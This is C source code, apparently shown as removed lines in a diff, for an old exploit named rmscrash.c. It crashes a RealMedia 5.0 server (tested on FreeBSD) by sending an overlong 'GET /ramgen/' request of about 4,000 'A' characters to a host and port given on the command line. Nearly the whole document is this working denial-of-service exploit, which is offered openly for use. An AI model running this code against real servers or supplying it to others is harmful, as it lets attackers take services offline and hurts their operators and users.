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- /*
- * rmscrash.c - bow@bow.net
- *
- * Crash a RealMedia 5.0 server by sending a very long ramgen request.
- *
- * Test on:
- * $ pnserver -v
- * Version: 5.0-rvserver-build-290
- * Platform: FreeBSD-2.1.x
- *
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/time.h>
- #include <sys/types.h>
- #include <unistd.h>
-
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
-
- #define BUFLEN 4082
-
- char buf[BUFLEN+14];
- int sock;
- struct sockaddr_in sa;
- struct hostent *hp;
-
- void main (int argc, char *argv[]) {
- int i, port;
-
- if (argc < 3) {
- printf("Usage: %s realserver port\n",argv[0]);
- exit(-1);
- }
-
- port = atoi(argv[2]);
-
- memset(buf,0x41,BUFLEN);
- memcpy(buf,"GET /ramgen/",12);
- memcpy(buf+BUFLEN," HTTP/1.1\r\n\r\n", 13);
-
-
- if ((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
- perror("gethostbyname()");
- exit(0);
- }
-
- if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
- perror("socket()");
- exit(0);
- }
- sa.sin_family=AF_INET;
- sa.sin_port=htons(port);
- memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
- if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
- perror("connect()");
- exit(0);
- }
-
- printf("Connected to %s. Sending data\n",argv[1]);
- write(sock,buf,strlen(buf));
- printf("Done.\n");
-
- close(sock);
- exit(0);
- }
-
-